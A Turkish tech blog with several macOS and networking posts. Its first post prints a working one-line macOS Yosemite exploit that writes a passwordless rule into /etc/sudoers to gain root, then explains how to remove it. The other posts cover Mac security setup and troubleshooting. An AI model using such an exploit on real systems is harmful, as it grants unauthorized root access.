24 Temmuz 2015 Cuma




Aşağıda belirtmiş olduğum MacOsX’te bulunan yetki yükseltme zafiyeti, root haklarına sahip olmayan normal bir kullanıcı hesabı ile  root yetkilerine sahip olmasını sağlamakta,



echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su


Bu komut sonrasında sudoers dosyasında değişiklik yapılıyor ve root user'a erişim sağlanabiliyor fakat sudoers dosyasında değişiklik yapıldığı için tekrar root erişimini sağlamak istediğinizde “Syntax error” gibi bir hata ile karşılaşabilirsiniz ve dolayısıyla root erişimini terminalden çıktıktan sonra tekrar sağlayamayabilirsiniz.


(Twitter'dan alıntı)

Not: sudoers dosyasına erişim root erişimi için şifre sorma bu zafiyet ile devredışı bırakıldığından “sudo su” komutunu tekrar çalıştırdığınızda root şifresini sormadan direk root’a erişim de sağlayabilirsiniz, yani hata almayabilirsiniz.

Bu sorunu gidermek için root user’ı aktif etmeniz gerekmekte, bunun için


  • System Preferences
  • Users & Groups
  • Login Items
  • Sol altta yer alan Kilide tıklayarak kullanıcı şifrenizi girin




  • Sağ tarafta yer alan “Join” ‘e ve ardından açılan pencerede “Open Directory Utility” e tıklayın
  • 4.adımda bahsettiğimiz kilide tekrar tıklayarak şifrenizi girin
  • Edit menüsü altından “Enable root User” ı seçin




  • Root user için şifre tanımlayıp doğrulayın




  • Terminali açıp “ su – “ komutunu çalıştırın



  • 8. Adımda tanımladığımız şifreyi girerek root erişimini sağlayın
  • visudo” komutunu çalıştırarak “sudoers” dosyasını açın ve yukarıda girmiş olduğumuz komutu bulun. (Dosyanın sonunda “ALL ALL=(ALL) NOPASSWD: ALL” bu şekilde bulacaksınızdır)
  • Bu satırı silin ve dosyayı kaydedip çıkın (:wq)
Tekrar “sudo su” şeklinde denediğinizde hata almadan sorunsuz çalıştığını göreceksiniz. Root user’I devre dışı bırakmak için yukarıda bahsetmiş olduğum adımları tekrar uygulayıp 7. Adımdaki “Enable root User” yerine “Disable Root User” ı seçmeniz yeterli olacaktır.


Not: Daha kısa yol olarak terminalden “dsenableroot” komutunu yazıp kullanıcı şifreniz ardından root şifresi tanımlayıp tekrar doğrulamanız da yeterli olacaktır.

Bahsi geçen bu zafiyeti kapatmak için Apple OsX Yosemite (10.10.4) ve öncesi için henüz bir yama yayınlamadı fakat 10.11 beta1 de bu zafiyeti 1 ay önce kapatmıştı. Apple’ın yamasını beklemek istemiyorsanız aşağıdaki linkte verilen kernel extension’ı yükleyerek zafiyeti kapatabilirsiniz.

Not: Tüm sorumluluk kullanıcıya aittir.

Zafiyet ile ilgili 


linklerinden detaylı bilgi edinebilirsiniz.

22 Mart 2015 Pazar

There is no connected camera "Facetime"



Bugün gelen bir facetime araması sonucunda kameramın çalışmadığını fark ettim ve karşıma çıkan bu sorunu öncelikle donanımsal olarak algıladım, sebep olabilecek herhangi birşey olmamasına rağmen böyle bir sorun nasıl olabilir? Acaba yazılımsal bir çakışmadan olabilir mi? diye google'da arama yaptım. Sorunun tahmin ettiğim gibi yazılımsal bir çakışmadan kaynaklandığını okudum.




Çok uzatmadan çözüme gelelim,

1. Yöntem

Terminal'i açalım ve aşağıdaki gibi komutumuzu girelim, ardından root parolamızı girerek işlemi tamamlayalım.

    sudo killall VDCAssistant

2. Yöntem

Activity Monitor'ü açıp (Spotlight'ı açıp Activity Monitor yazmanız yeterli, Spotligt'ın kısayolu varsayılan Command+Boşluk Çubuğu) VDCAssistant işlemini sonlandırmanız yeterli olacaktır


3. Yöntem

- Mac'inizi yeniden başlatın, 
- Gri ekran gelmeden Command (⌘), Option, P ve R tuşlarına, Mac yeniden başlayan kadar basılı kalın
- Mac'iniz yeniden başladığında NVRAM/PRAM temizlediği için kameranız normal çalışmaya devam edecektir.




















17 Mart 2015 Salı

Argument list too long hatası ve Çözümü

Merhaba,

Nessus pluginlerini offline olarak güncellerken (terminal'den asterisk (*) karekter girerek kopyalamaya yapmaya çalışırak) aşağıdaki gibi bir hata aldım

-bash: /bin/cp: Argument list too long

Bu hatanın sebebi kernel'da terminal komutları için ayrılmış memory değerinin maksimum sınırı geçmesinden kaynaklanmakta. 

Sorunun çözümü için aşağıdaki gibi bir komut yeterli olacaktır

# find . -name "*.nbin" -exec cp {} /kopyalama/yapılacak/yol \;

Not:İleri seviye linux kullanıcıları bu hatayı burada bahsedildiği gibi kernel'da binfmts.h dosyasında 

/*
 * MAX_ARG_PAGES defines the number of pages allocated for   arguments
 * and envelope for the new program. 32 should suffice, this gives
 * a maximum env+arg of 128kB w/4KB pages!
 */
#define MAX_ARG_PAGES 32

MAX_ARG_PAGES değerinde değişiklik yapıp kernel'ı tekrar derleyerek kalıcı çözüm sağlayabilirler.

1 Ağustos 2014 Cuma

Wireshark'ta 802.11 Frame tip filtereleri

Wireshark ile Wireless trafiğini izlediğinizde kullanabileceğiniz işinizi kolaylaştırabilecek Frame tipleri ve Frame alt tiplerini belirten filtreler...



Management Frames
Control Frames
Data Frames
Association Request
Association Response
Reassociation Request
Reassociation Response
Probe Request
Probe Response
Beacon
ATIM
Disassociation
Authentication
Deauthentication
Action Frames
Block ACK Request
Block ACK
Power Save Poll
Request to Send
Clear to Send
ACK
CFP End
CFP End ACK
Data + CF ACK
Data + CF Poll
Data + CF ACK + CF Poll
Null Data
Null Data + CF ACK
Null Data + CF Poll
Null Data + CF ACK + CF Poll
QoS Data
QoS Data + CF ACK
QoS Data + CF Poll
QoS Data + CF ACK + CF Poll
Null QoS Data
Null QoS Data + CF Poll
Null QoS Data + CF ACK + CF Poll
wlan.fc.type==0
wlan.fc.type==1
wlan.fc.type==2
wlan.fc.type_subtype==0
wlan.fc.type_subtype==1
wlan.fc.type_subtype==2
wlan.fc.type_subtype==3
wlan.fc.type_subtype==4
wlan.fc.type_subtype==5
wlan.fc.type_subtype==8
wlan.fc.type_subtype==9
wlan.fc.type_subtype==10
wlan.fc.type_subtype==11
wlan.fc.type_subtype==12
wlan.fc.type_subtype==13
wlan.fc.type_subtype==24
wlan.fc.type_subtype==25
wlan.fc.type_subtype==26
wlan.fc.type_subtype==27
wlan.fc.type_subtype==28
wlan.fc.type_subtype==29
wlan.fc.type_subtype==30
wlan.fc.type_subtype==31
wlan.fc.type_subtype==33
wlan.fc.type_subtype==34
wlan.fc.type_subtype==35
wlan.fc.type_subtype==36
wlan.fc.type_subtype==37
wlan.fc.type_subtype==38
wlan.fc.type_subtype==39
wlan.fc.type_subtype==40
wlan.fc.type_subtype==41
wlan.fc.type_subtype==42
wlan.fc.type_subtype==43
wlan.fc.type_subtype==44
wlan.fc.type_subtype==46
wlan.fc.type_subtype==47

30 Mayıs 2014 Cuma

Mac Os X Firmware Sifre Koymak

Apple, Mac kullanıcılarının güvenlik riskini minimuma indirmek için sunduğu güvenlik özelliklerinden biriside Firmware 'e (EFI - Extendible Firmware Interface) şifre koymaktır. Bu özellik ile gelişmiş güvenlik özelliklerinden birini aktif etmiş oluyoruz. Diğer özelliklerden biriside daha önceki yazımda belirttiğim FileVault ile Disk şifrelemeydi. Firmare'e şifre koymak ile Mac'imizi single user mode, Target Disk mode ve Harici boot volume ile kontrolünüz dışında boot edilmesini engellemiş oluruz, ayrıca Güvenli modta PRAM/NVRAM resetlemeyide aynı şekilde kontrolünüz dışında yapılmasını engellemiş olur. 

Not: Verdiğiniz şifreyi güvenli bir yerde saklamayı unutmayın (Keepass vb). Unutmanız halinde EFI şifreyi kaldırmak için Apple Store 'a gitmeniz gerekecek :) 

Firmware 'e şifre koymak için yapılması gerekenler
  • Mac'i yeniden başlatın ve Recovery Mode'ta açılana kadar Command +R tuşlarına basılı kalın.
  • Os X Utilities penceresi çıkacak bu pencerede Utilities'e ardında Firmware Password Utility tıklıyoruz 

  • Ardından açılan pencerede Turn on Firmware Password 'e tıklıyoruz

  • Çıkan penceredeki kutucuklara vermek istediğimiz şifreyi giriyoruz ve Set Password diyoruz. (Şifrenizi Güvenli bir yerde not etmeyi unutmayın) 


  • Şifre tanımlamasını yaptıktan sonra çıkan pencerede Quit Firmware Pasword Utility deyip Mac'i restart ediyoruz.

Bu adımlardan sonra EFI password tanımlanmış oldu, Güvenli Mode, Recovery Mode ya da Single mode 'a girmediğiniz sürece size bu şifreyi sormayacaktır. Yani standart bir açılışta bu şifre ile hiç işiniz olmayacak.



















29 Mayıs 2014 Perşembe

FileVault ile Disk Sifreleme (Disk Encryption)

MacOs mevcut sürümünde bulunan FileVault  2  tüm disklerinizi hatta çıkarılabilir disklerinizi de XTS-AES 128 ile şifreleyerek verilerinizi korur.  

Peki FieVault’u nasıl aktif hale getirir ve Diskimizi şifreleriz? Bunları adım adım yapalım….

Öncelikle Spotlight’a (Command+Space) System Preferences (Sistem Tercihleri) yazıp sistem tercihlerine erişiyoruz, ardından Security&Privacy tıklayıp aşağıdaki şekilde gösterildiği gibi FileVault sekmesine tıklıyoruz.



Yukarıdaki resimde de görüldüğü gibi FileVault pasif halde geliyor. Aktif etmemiz için resimde kırmızı ile işaretlenmiş alandan kilit simgesine tıklıyoruz, bizden aşağıdaki resimde görüldüğü gibi root haklarına sahip kullanıcının şifresini istiyor


Kullanıcının şifresini girip unlock diyoruz,



Yukarıda görüldüğü gibi artık FileVault’u aktif edebilir ve değişiklik yapabiliriz (değişiklik yapılmasını istemiyorsak tekrar işaretlenmiş bölgedeki kilit simgesine tıklayarak değişiklik yapılmasını engelleyebiliriz).

FileVault’u aktif etmek için Turn On FileVault’a tıklıyoruz, karşımıza aşağıdaki resimde görüldüğü gibi recovery 24 haneden oluşan recovery key verecek, bu key, FileVault şifrenizi unutmanız halinde diskinize tekrar erişim sağlamanızı sağlayacaktır, güvenli bir yere not etmenizi öneririm (keepass vb).



Recovery Key’i not ettikten sonra Continue diyoruz, karşımıza her ihtimale karşı recovery key’i Apple’da saklamamızı öneren bir pencere çıkıyor. Tabii zorunlu değil fakat seçilmesi halinde birbirinden bağımsız 3 adet soru seçip cevaplamanızı istiyor, böylece bu soruların cevapları olmadan recovery key’i Apple’dan kimse alamayacağını(!) vaad ediyor. 


Soruları cevapladıktan sonra continue diyebilir ve bir sonraki adıma geçebilirsiniz, veya aşağıdaki resimde görüldüğü gibi Recovery Key’i Apple’da depolamasını istemeyebilirsiniz.


Her iki seçenekten hangisini seçerseniz Continue dediğinizde karşınıza aşağıdaki gibi işlemlerin bittiğini ve restart etmenizi isteyen seçenecek çıkacaktır.



Restart dedikten sonra artık diskinizi şifrelemek için aşağıdaki resimde görüldüğü gibi işleme başlayacaktır (Restart işleminin ardından kullanıcı şifreniz ile giriş yaptıktan sonra şifrelemeye devam edecektir, bu esnada Mac’I istediğiniz gibi kullanmaya devam edebilirsiniz).



işlem süresi diskinizin boyutu ile doğru orantılıdır, diskinizin boyutu ne kadar fazlaysa işlem süreside o kadar uzun olacaktır, saatlerce de sürebilir.

Burada unutulmaması gereken önemli noktalar ise;
  • -       Mutlaka kullanıcınıza şifre vermeniz gerekmekte
  • -       Şifrenizi ve Recovery Key’I unutmanız halinde tüm verileriniz ve ayarlarınız gider
  • -       Birden fazla kullanıcı varsa FileVault aktif olan kullanıcı giriş yapabilir diğer kullanıcılar için öncelikle yetkili(root,admin) kullanıcı girişi ardından diğer kullanıcılar giriş yapabilirler
  • -       Birde fazla kullanıcı varsa FileVault aktif edilirken hangi kullanıcı için olduğunu soracaktır, ayrıca tüm kullanıcılar için FileVault’ı aktifte edebilirsiniz
  • -       FileVault Raid olan disklerde kullanılamaz
  • -       Işlem süresi diskinizin boyutu ile doğru orantılıdır, boyut ne kadar fazlaysa işlem süreside o kadar uzun olacaktır, saatlerce de sürebilir
  • -       Apple, şifrelemenin performansı düşürecek herhangi bir etkisi olmadığını söylüyor, “hiçbirşey fark etmeyeceksiniz” diyor.


 FileVault2 Komut ortamıyla aktif etmek için;


sudo fdesetup enable
komutunu çalıştırıyoruz, bu komut sonrasında size FileVault’u kullanacağınız user adını ve şifresini soracaktır, bu bilgileri girdikten sonra terminal ekranında 24 haneden ve alfanumerik olan recovery key verecektir bunu güvenli bir yere not ettikten sonra Mac’i yeniden başlatmanız gerektiğini yazacaktır.

sudo fdesetup enable –user kullanıcıadı
Yukarıdaki komut ile kullanıcı adını direk belirterek ve ardından şifresini girerek belirtilen kullanıcı için FileVault’u aktif edebilirsiniz. Bir üstteki komut ile farkı –user parametresi ile kullanıcıyı direk belirtmeniz.

Çoklu kullanıcı seçeneği olan yerlerde *.plist dosyası hazırlayıp tüm kullanıcıları tek komut ile ekleyebilirsiniz.

Bunun için aşağıdaki formatta bir plist dosyası oluşturun (Herhangi bir text editör ile dosyayı oluşturup uzantısını plist olarak değiştirebilirsiniz)


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist
PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Username</key>
<string>username</string>
<key>Password</key>
<string>password</string>
<key>AdditionalUsers</key>
<array>
   <dict>
        <key>Username</key>
        <string>username</string>
        <key>Password</key>
        <string>password</string>
    </dict>
    <dict>
        <key>Username</key>
        <string>username</string>
        <key>Password</key>
        <string>password</string>
    </dict>
</array>
</dict>
</plist>
Not: plist dosyasında belirtilen kullanıcıların şifreleri cleartext olmak zorunda
 

ardından aşağıdaki komutu çalıştırmanız yeterli olacaktır

sudo fdesetup enable -inputplist < /dosyanın/bulundugukonum/filename.plist


Bu komut sonrasında plist dosyasında belirtilen kullanıcılar için FileVault aktif olacaktır.